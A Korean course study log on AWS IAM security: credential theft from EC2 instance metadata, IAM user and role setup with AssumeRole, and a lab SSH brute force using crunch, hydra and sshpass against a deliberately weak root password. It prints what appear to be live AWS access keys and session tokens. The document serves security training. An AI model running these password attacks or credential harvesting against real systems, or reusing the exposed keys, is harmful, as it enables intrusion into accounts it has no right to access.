2주차(9.3) : IAM 취약점 및 보안

[eGISEC 2023] 사이버 공격 90%, 계정 탈취에서 시작

[eGISEC 2023] 사이버 공격 90%, 계정 탈취에서 시작

 

북한의 사이버 공격자들, 깃허브의 개발자들 노리고 있다

북한의 사이버 공격자들, 깃허브의 개발자들 노리고 있다

 

깃허브, 3월 13일부터 모든 컨트리뷰터들이 이중인증 사용하게 한다

깃허브, 3월 13일부터 모든 컨트리뷰터들이 이중인증 사용하게 한다

 

클라우드에 빈틈만 보이면 암호화폐 채굴을 시작하는 사이버 공격자들

클라우드에 빈틈만 보이면 암호화폐 채굴을 시작하는 사이버 공격자들

 

 

ahss-ec22_2ea.yaml

0.01MB

 

웹서버 IP로 접근

 

whoami

 

현재 디렉토리 확인

 

파일 확인

 

passwd 확인

 

hostnamectl

 

ip route

 

curl 정보 파악

 

curl로 ip 정보 획득

 

퍼플릭 ip 정보 획득

 

curl 메타 데이터 확인

 

iam 인스턴스 role 확인

 

키와 토큰 확인

 

웹서버 안에서 확인

 

메타데이터 확인

 

액세스 키와 토큰 확인(웹서버)

웹 서버 접근 로그 확인

 

암스트레담

 

공격자에 키, 토큰 값 등록

 

s3 확인

 

ec2 확인

 

CloudTail 이벤트 기록

 

S3 버킷 조회 기록 확인

 

S3 조회 권한이 없음

 

AssumeRole 확인

 

IAM 역할 확인

 

인스턴스에 역할 할당 된 거 확인

 

메타데이터 설정 확인

 

# aws cli 설치 및 버전 확인
aws --version

# caller id 확인
aws sts get-caller-identity

# 자신의 AWS 계정 ID 변수 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
echo $ACCOUNT_ID

# 페이저 사용 비활성화
export AWS_PAGER=""

 

위에 명령어 그대로

 

 

# user1 사용자 생성
**aws iam create-user --user-name user1**

# user2 사용자 생성
**aws iam create-user --user-name user2**

# user1 사용자의 AWS Web Console 로그인 profile 생성 - [링크](<https://docs.aws.amazon.com/cli/latest/reference/iam/create-login-profile.html>)
cat < create-login-profile-user1.json
{
    "UserName": "**user1**",
    "Password": "**Ahss\\$1234**",
    "PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json | jq
**aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json**

# user2 사용자의 AWS Web Console 로그인 profile 생성 - [링크](<https://docs.aws.amazon.com/cli/latest/reference/iam/create-login-profile.html>)
cat < create-login-profile-user2.json
{
    "UserName": "**user2**",
    "Password": "**Ahss\\$1234**",
    "PasswordResetRequired": false
}
EOF
cat create-login-profile-user2.json | jq
**aws iam create-login-profile --cli-input-json file://create-login-profile-user2.json**

# iam 사용자 리스트 확인
aws iam list-users | jq

# 사용자에게 프로그래밍 방식 액세스 권한 부여
**aws iam create-access-key --user-name user1**
{
    "AccessKey": {
        "UserName": "user1",
        "AccessKeyId": "**AKIA5ILF2FJITUNS2S5S**",
        "Status": "Active",
        "SecretAccessKey": "**N8joouRZdBBuKdV1IjssI0ICDi5SzjGn1Bc7SHOw**",
        "CreateDate": "2023-09-03T06:21:17+00:00"
    }
}

**aws iam create-access-key --user-name user2**
{
    "AccessKey": {
        "UserName": "user2",
        "AccessKeyId": "**AKIA5ILF2FJIR2IDM5VK**",
        "Status": "Active",
        "SecretAccessKey": "**x/p+1LE9eDkYsbjYXoa7h8R95V49JtN5Siyoenqa**",
        "CreateDate": "2023-09-03T06:21:27+00:00"
    }
}

# 사용자에 정책을 추가
**aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1**
**aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2**

 

IAM 유저 만들기

 

json 파일 확인(user1)

 

json파일(user2)

 

IAM user 확인

 

프로그래밍 방식

 

정보 안 나오니까 미리 매모

 

[cloudshell-user@ip-10-4-78-8 ~]$ aws iam create-access-key --user-name user1
{
    "AccessKey": {
        "UserName": "user1",
        "AccessKeyId": "AKIAVSG277YLP3GEEJGI",
        "Status": "Active",
        "SecretAccessKey": "0Hfe7J7ejX0iKv79wQiX0kyEXlrMp5WoHJmEUh0t",
        "CreateDate": "2023-09-07T14:19:47+00:00"
    }
}
[cloudshell-user@ip-10-4-78-8 ~]$ aws iam create-access-key --user-name user2
{
    "AccessKey": {
        "UserName": "user2",
        "AccessKeyId": "AKIAVSG277YLPUVM2T4L",
        "Status": "Active",
        "SecretAccessKey": "c6cUwkkyrfanU4+P9MywHlpO1dNhgtSPJA9w7fn2",
        "CreateDate": "2023-09-07T14:19:55+00:00"
    }
}

 

 

사용자 정책 추가

 

정책 추가(user1)

 

정책 추가(user2)

 

https://chrome.google.com/webstore/detail/multilogin/ijfgglilaeakmoilplpcjcgjaoleopfi

MultiLogin

 

user 권한 확인

 

# 시도
aws s3 ls

# user1 자격증명 profile 생성 : 위 메모 복붙
**aws configure --profile user1**
AWS Access Key ID [None]: **AKIA5ILF2FJITUNS2S5S**
AWS Secret Access Key [None]: **N8joouRZdBBuKdV1IjssI0ICDi5SzjGn1Bc7SHOw**
Default region name [None]: **ap-northeast-2**
Default output format [None]:

# user2 자격증명 profile 생성 : 위 메모 복붙
**aws configure --profile user2**
AWS Access Key ID [None]: **AKIA5ILF2FJIR2IDM5VK**
AWS Secret Access Key [None]: **x/p+1LE9eDkYsbjYXoa7h8R95V49JtN5Siyoenqa**
Default region name [None]: **ap-northeast-2**
Default output format [None]:

# 자격 증명 정보 저장되는 파일 확인
**cat ~/.aws/credentials**

 

자격증명 파일 생성

 

자격 파일 확인

 

# caller id 확인
aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq

# 자격증명 사용 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq

# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=gasida
#aws s3 mb s3://***버킷***(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME   --region ap-northeast-2 --profile user1
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2

# S3 버킷 조회
aws s3 ls --profile user2

 

caller id 확인

 

user1,2에서 엑세스 파일 확인

 

자격증명 확인(user1)

 

자격증명 확인(user2)

 

s3 버킷 생성

# user2 사용자에 인라인 정책을 추가 : STS 서비스의 AssumeRole Action 허용
cat <<EOF > allow-assume-role.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "allowassumerole",
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "*"
        }
    ]
}
EOF
cat allow-assume-role.json | jq
aws iam put-user-policy --user-name **user2** --policy-name allow-assume-role --policy-document file://allow-assume-role.json

인라인 정책 추가

 

#
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
cat <<EOF > MyAccount-AssumeRole.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Principal": {
                "AWS": "$ACCOUNT_ID"
            },
            "Condition": {}
        }
    ]
}
EOF
cat MyAccount-AssumeRole.json | jq
aws iam create-role --role-name **assume-role-s3full** --assume-role-policy-document file://MyAccount-AssumeRole.json **--max-session-duration 7200**
{
    "Role": {
        "Path": "/",
        "RoleName": "assume-role-s3full",
        "RoleId": "AROA5ILF2FJITESCKZOAO",
        "Arn": "arn:aws:iam::911283464785:role/assume-role-s3full",
        "CreateDate": "2023-09-03T06:46:47+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "sts:AssumeRole",
                    "Principal": {
                        "AWS": "911283464785"
                    },
                    "Condition": {}
                }
            ]
        }
    }
}

# assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용
aws iam attach-role-policy --role-name **assume-role-s3full** --policy-arn arn:aws:iam::aws:policy/**AmazonS3FullAccess**

 

권한 가진 IAM Role 생성

 

IAM Role 확인

 

정책 추가 확인

 

# AssumeRole 을 통해 임시자격증명 발급
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
#aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name <각자 편한이름 지정> --query "Credentials.[AccessKeyId,SecretAccessKey,SessionToken]" --output text
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/**assume-role-s3full** --role-session-name **MyS3accessSession** --profile **user2**
{
    "Credentials": {
        "AccessKeyId": "ASIA5ILF2FJI4JPGYCJ4",
        "SecretAccessKey": "VxLRnDNrgDFcsAWd+Kruqtdjr75Ej/OioApIIRHO",
        "SessionToken": "IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0yIkcwRQIgZMrgq7zxDCTVY39s+COI/DhesFgol/XbmbocHkcBKqACIQD6JfI/2nru3xmOrrqF+iw7Fm9dIAK5hpnkCNRIzGt95CqeAggoEAIaDDkxMTI4MzQ2NDc4NSIMTSm0mTnWwl9tj2IVKvsBr4qP7ZZNg0YxcpFFmsECtxi9WTAQH6a3uyt6Lb5KTpN93gZgnr0LdqFl2ZTj6TBZ7Wdrj47uao0ZalxFK8ltGuBEQLUbNHfF432/GhYnLnmSt2GNwGLcEcrEAL6ILE8l9CsUFv4VKcEcE3OJ8f8K5r3xrR1Zp5dy8Vj2KCf92LS9MDP5YqXJUvYQaBloiIrKeBiov9ykwclJ3y+D0+g9p4DklE8kLNjcj28PopNAp1VM+Rilf/lpOTjWWi0VM1GQO+qEdivSBPWUtJlvq15mlA89DsPEDPM/2K4hI3lJUI59djTYJCfGAJj55srqA52sXPcTC6HWh9I60+AwodnQpwY6nQEk/pdlajJGV7SKkAzWAWylivc2POARHYa3VYoDlK8g7tvghxVSjOVOcwGsfYvPihxFTjuw1k/tYWepg+6sgE8BvaxbWbMj0QZPBqcv6S4sgShXq0P6njDU02y+ZtD0H8ZfS/eapd0lUfEbbXxzIbhmjGAwIM9ihsTD+EhaVTskaYnA//pFq8pem06MoXFWy69hYlLJswZYFOmOXlsh",
        "Expiration": "2023-09-03T07:50:09+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA5ILF2FJITESCKZOAO:MyS3accessSession",
        "Arn": "arn:aws:sts::911283464785:assumed-role/assume-role-s3full/MyS3accessSession"
    }
}

# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJI4JPGYCJ4"
export AWS_SECRET_ACCESS_KEY="VxLRnDNrgDFcsAWd+Kruqtdjr75Ej/OioApIIRHO"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0yIkcwRQIgZMrgq7zxDCTVY39s+COI/DhesFgol/XbmbocHkcBKqACIQD6JfI/2nru3xmOrrqF+iw7Fm9dIAK5hpnkCNRIzGt95CqeAggoEAIaDDkxMTI4MzQ2NDc4NSIMTSm0mTnWwl9tj2IVKvsBr4qP7ZZNg0YxcpFFmsECtxi9WTAQH6a3uyt6Lb5KTpN93gZgnr0LdqFl2ZTj6TBZ7Wdrj47uao0ZalxFK8ltGuBEQLUbNHfF432/GhYnLnmSt2GNwGLcEcrEAL6ILE8l9CsUFv4VKcEcE3OJ8f8K5r3xrR1Zp5dy8Vj2KCf92LS9MDP5YqXJUvYQaBloiIrKeBiov9ykwclJ3y+D0+g9p4DklE8kLNjcj28PopNAp1VM+Rilf/lpOTjWWi0VM1GQO+qEdivSBPWUtJlvq15mlA89DsPEDPM/2K4hI3lJUI59djTYJCfGAJj55srqA52sXPcTC6HWh9I60+AwodnQpwY6nQEk/pdlajJGV7SKkAzWAWylivc2POARHYa3VYoDlK8g7tvghxVSjOVOcwGsfYvPihxFTjuw1k/tYWepg+6sgE8BvaxbWbMj0QZPBqcv6S4sgShXq0P6njDU02y+ZtD0H8ZfS/eapd0lUfEbbXxzIbhmjGAwIM9ihsTD+EhaVTskaYnA//pFq8pem06MoXFWy69hYlLJswZYFOmOXlsh"
export 

# caller id 확인
aws sts get-caller-identity | jq

# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=gasida
#aws s3 mb s3://***버킷***(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2

# S3 버킷 조회
aws s3 ls

# S3 버킷 삭제
aws s3 rb s3://ahss-2w-$NICKNAME
aws s3 rb s3://ahss-2w-$NICKNAME-2

# (참고) 임시자격증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

 

임시자격 요청

 

{
    "Credentials": {
        "AccessKeyId": "ASIAVSG277YLEO5FJCSA",
        "SecretAccessKey": "EVkh6g653zBsfjpglUILkW05E3e+21vACeOIrQSH",
        "SessionToken": "IQoJb3JpZ2luX2VjELf//////////wEaDmFwLW5vcnRoZWFzdC0yIkgwRgIhALPCqZOh4/WylmU1Fm3BzLvaipdaULtBzvpzLx0O7PZSAiEAvN3c8nqdGBTz9yPvyjH3Fdz3RKvHWvRRiEyp/Gk5aGYqpwIIkP//////////ARAAGgwzODI3MTEzNjUxNDIiDGww6Z8PrI7wG3rehir7AUrgIAMgCkfsh74D0H5XBqvT+LWqpxthQqUGgEvmgbDUxdE1ffwHrMgBmXneHnNTmP/fn7/4GyNAJ1UT9w3g7ldU9EMWuEIjLIsmSiWtmj00w7/2c5FbZh3w5E78mqFsC+xL0D+zmH84IscQ/jqN90vC5tZPMsQK/v/fRy8jak3iuIdyXO4CSWJujzKNt7RuPTQ9vWiBw2+2h2ywhOUP87lQDHOTOcFkj15cPImqBXoH93N6R1jhCirD56bmhAkF1dxU00h2HP0F5XS8bRmqwaauKc3+qc4w/Ur76mfAghv4RMb8rQzkwSnyCT0vHiwMzfjikARLOydZeJKoMIzM56cGOpwBSyHFGsAK7eRujwPetRw9P63zInCWc0/CTNaJRdR5r4A4P5SHZe6DSuHk0dS+Zko8wi6SJga/JaPmuN5OBS1MKpWPlvTYpiZe+1sJb9V51uqwtHI3cDuYKbPEFpg+iLmL/fcxvwVELIUGeuHrMBaxQyFLOA8NsKFrxmjaQKTYKXjSoqmI9ognZgKqvKJuq7R2ILILYmO8/lhe8Z4x",
        "Expiration": "2023-09-07T16:02:36+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAVSG277YLI2QIJG3TK:MyS3accessSession",
        "Arn": "arn:aws:sts::382711365142:assumed-role/assume-role-s3full/MyS3accessSession"
    }
}

 

모두 입력

 

caller id

 

버킷 생성

 

버킷 삭제 및 엑세스 삭제

 

복사 후 user 웹 링크에 붙이기

 

role 모자

 

 

모자 쓰면 그 역할 가능

# 관리자 확인
whoami

# SSH 접속 로그 출력
more /var/log/secure
grep Invalid /var/log/secure
**w**

# root 계정의 암호 설정 - 취약한 암호이며 실습 후 바로 해당 EC2를 삭제 할 것
passwd
New password: **12qw**
Retype new password: **12qw**
...

# 실시간 로그 출력
**tail -f /var/log/secure**

 

웹서버 확인

 

취약한 패스워드 설정

 

로그 확인

 

Attack

 

# [**crunch tool**](<https://tools.kali.org/password-attacks/crunch>) 로 사전 파일 생성 - [참고링크](<https://blog.naver.com/choda100/220819457582>) [참고영상](<https://youtu.be/0ouVxR7hLvE>)
cd /root/crunch-3.6
**./crunch 4 4 12qw -o 4chars.txt**

# 사전 파일 확인, 256개의 암호 생성
more 4chars.txt
more 4chars.txt |wc -l
256

# [**Hydra tool**](<https://tools.kali.org/password-attacks/hydra>) 로 SSH Brute force attack 시도
hydra -h
**hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10**
...
[22][ssh] host: 10.0.0.10   login: root   password: **12qw**
...

# 리모트 명령 실행
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@**10.0.0.10 hostname**
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@**10.0.0.10 ip -c addr**

 

 

# 사전 파일 획득
## (옵션) 구글링 - 최애(자주 쓰는) 암호 Top 10/100 리스트, Kali Linux 등등
## (옵션) [**Rockyou**](<https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt>) 대용량 사전 파일 - 일천사백만개 암호 리스트 > 필요한 부분만 별도의 파일로 만들어서 사용
cd
more /root/rockyou.txt
less /root/rockyou.txt
wc -l /root/rockyou.txt
14344394

grep password /root/rockyou.txt
grep cisco /root/rockyou.txt
grep -F '***' /root/rockyou.txt

## (옵션) **Cupp tool** 개인 정보 기반 암호 리스트 생성 - [참고링크](<https://www.hackingarticles.in/comprehensive-guide-on-cupp-a-wordlist-generating-tool/>)
python3 /root/cupp.py -i  → 뒤 질문은 전부 N 하자
생성된 파일 확인
more ~

rockyou 확인

 

개인정보 기반 암호 리스트

 

Unauthorized IAM Credential Use - Simulation and Detection (공격과 발견 실습 포함) - 링크 ← 미국 동부(버지니아 리전) 실습

 

Cryptominer Based Security Events - Simulation and Detection (공격과 발견 실습 포함) - 링크 ← 미국 동부(버지니아 리전) 실습

 

**CTF & Challenge**

• IAM Challenge https://bigiamchallenge.com/challenge/1
• r00tz CTF on AWS https://r00tz-ctf.awssecworkshops.com/
• AWS challenge http://flaws.cloud/

flAWS

 

Destroying Long-Lived Cloud Credentials with Workload Identity Federation - 링크 → 고정/장기 키 사용 최소화

 

 

classmethod : 그림 설명 잘되어 있음, 한국어로 번역 후 볼 것! - 링크

クラスメソッド発「やってみた」系技術メディア | DevelopersIO

 

AWS Workshop [AWS Workshop] (KR) Data Perimeter Workshop : 데이터 경계 제어 구축 - 링크 ⇒ 2개의 AWS 계정이 반드시 필요

Data Perimeter Workshop

 

1. 실습 1~4 에서는 AWS Systems Manager Session Manager를 사용하여 VPC의 EC2 인스턴스에 액세스합니다. VPC 자체는 인터넷에 연결되어 있지 않으며 VPC 엔드포인트를 통해 모든 리소스에 연결됩니다.
2. 실습 1 에서는 CloudTrail 버킷 콘텐츠에 액세스하고 특정 보안 주체만 콘텐츠에 액세스할 수 있도록 허용하는 버킷 정책을 생성합니다. 그런 다음 실습 2에서는 해당 버킷 정책을 업데이트하여 리소스에 액세스하는 데 사용할 수 있는 네트워크를 제한합니다.
3. 실습 2 에서는 AWS 관리 콘솔을 사용하여 Amazon Athena에 액세스하고 CloudTrail 버킷에 있는 데이터에 대한 쿼리를 실행합니다.
4. 그런 다음 실습 3 에서는 파트너의 S3 데이터 버킷에 액세스하여 원하지 않는 액세스 패턴을 보여줍니다.
5. 계속해서 실습 3에서는 교차 계정 액세스를 방지하기 위해 특정 계정의 보안 주체만 네트워크의 S3 리소스에 액세스할 수 있도록 S3 VPC 엔드포인트 정책을 업데이트 합니다. 실습 4 에서는 해당 정책을 다시 업데이트하여 네트워크에서 액세스할 수 있는 리소스를 제한합니다.
6. 마지막으로 실습 5에서는 AWS Management Console을 다시 사용하여 IAM 역할로 액세스할 수 있는 S3 리소스를 제한하는 IAM 정책을 생성하고 AWS 소유의 퍼블릭 S3 버킷에서 해당 정책을 테스트 합니다.

 

 

**AWS SAML + Keycloak**

• Keycloak 구축 및 AWS SAML 연동 - 링크
• Keycloak 소개 및 연동 - 링크
• AWS에서 Keycloak 기반 서비스 인증 체제 구축 - 링크
• [AWS Blog] Configure Keycloak on Amazon Elastic Kubernetes Service (Amazon EKS) using Terraform - 링크
• [AWS Blog] Federate Amazon QuickSight access with open-source identity provider Keycloak - 링크
• [AWS Blog] Configure SAML federation for Amazon OpenSearch Serverless with AWS IAM Identity Center - 링크

Configure SAML federation for Amazon OpenSearch Serverless with AWS IAM Identity Center | Amazon Web Services

 

• 실습 환경 삭제
  1. AWS CloudFormation Stack 삭제
  2. IAM User 삭제 : user1, user2
  3. IAM Role 삭제 : assume-role-s3full
   

스택 삭제

 

삭제 중

 

스택 삭제 완료

역할 삭제

user1 삭제

user2 삭제